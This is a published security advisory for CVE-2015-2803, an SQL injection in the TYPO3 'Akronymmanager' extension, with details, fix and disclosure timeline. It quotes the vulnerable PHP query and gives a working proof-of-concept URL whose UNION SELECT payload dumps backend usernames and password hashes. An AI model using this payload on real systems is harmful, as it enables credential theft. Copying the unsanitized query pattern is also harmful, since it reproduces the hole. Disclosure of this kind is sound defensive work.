Advisory: SQL Injection in TYPO3 Extension Akronymmanager

An SQL injection vulnerability in the TYPO3 extension "Akronymmanager"
allows authenticated attackers to inject SQL statements and thereby read
data from the TYPO3 database.

### Details

- Product: sb_akronymmanager
- Affected Versions: \<=0.5.0
- Fixed Versions: 7.0.0
- Vulnerability Type: SQL Injection
- Security Risk: medium
- Vendor URL: `http://typo3.org/extensions/repository/view/sb_akronymmanager`
- Vendor Status: fixed version released
- Advisory URL: `https://www.redteam-pentesting.de/advisories/rt-sa-2015-002`
- Advisory Status: published
- CVE: CVE-2015-2803
- CVE URL: `https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2803`

### Introduction

"The Acronym Manager adds special explanatory markup to acronyms, abbreviations
and foreign words on the whole site following the requirement to accessible web
content.

It provides a backend module to administer a list of words to generate new HTML
elements for explanatory markup."

(from the extension's documentation)

### More Details

Users with the respective privileges can maintain acronyms through the
Akronymmanager extension pages in the TYPO3 backend web interface.

In the extension's file mod1/index.php, an SQL query is generated like
follows (line 357 and following):

\[...\]
\$pageID = t3lib_div::\_GET("id");
if (\$pageID) \$where = "uid='\$pageID' AND ";
\$result = \$GLOBALS\['TYPO3_DB'\]-\>exec_SELECTquery('title,uid', 'pages',
\$where.'hidden="0" AND deleted="0"','sorting');
\[...\]

The value of the user-supplied HTTP GET parameter 'id' is used without
sanitizing it before its use in the subsequent SQL statement. Therefore,
attackers are able to manipulate the resulting SQL statement and inject
their own queries into the statement.

### Proof of Concept

When requesting the following URL, the vulnerability is exploited to yield all
usernames and hashes from the TYPO3 be_users database:

``` 
http://www.example.org/typo3conf/ext/sb_akronymmanager/mod1/index.php?
id=379%27%20UNION%20SELECT%20(SELECT%20group_concat(username,%27:%27,password)
%20FROM%20be_users),2%20--%20
```

The login credentials are then embedded in the HTML page that is
returned:

\[...\]  
\<!-- Section header --\>
\<h2\>user1:\$hash,user2:\$hash\[...\]\</h2\>

\[...\]

### Workaround

Only give trusted users access to the Akronymmanager extension in the
TYPO3 backend.

### Fix

Upgrade the extension to version 7.0.0.

### Security Risk

An attacker who has access to the backend part of the Akronymmanager
extension may send SQL queries to the database. This can be used to read
arbitrary tables of the TYPO3 database and may ultimately result in a
privilege escalation if the TYPO3 users' password hashes can be cracked
efficiently. Depending on the database configuration, it might also be
possible to execute arbitrary commands on the database host. As the
attack requires an attacker who already has backend access, the
vulnerability is estimated to pose only a medium risk.

### Timeline

- 2015-02-25 Vulnerability identified
- 2015-03-04 Customer approved disclosure to vendor
- 2015-03-10 CVE number requested
- 2015-03-10 Vendor notified
- 2015-03-26 CVE number requested again
- 2015-03-31 CVE number assigned (request \

#2)
- 2015-03-31 Vendor notified again
- 2015-03-31 Vendor responded
- 2015-04-08 Vendor announced fixed version available at the end of April
- 2015-05-13 Requested update from vendor
- 2015-05-15 Vendor requests more time
- 2015-05-21 Requested update from vendor
- 2015-05-22 Vendor states that upload to extension registry doesn't work
- 2015-06-03 Requested update from vendor
- 2015-06-10 Vendor uploads new version to extension registry
- 2015-06-15 Advisory published

### RedTeam Pentesting GmbH

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As there are only few experts in this field, RedTeam Pentesting wants to
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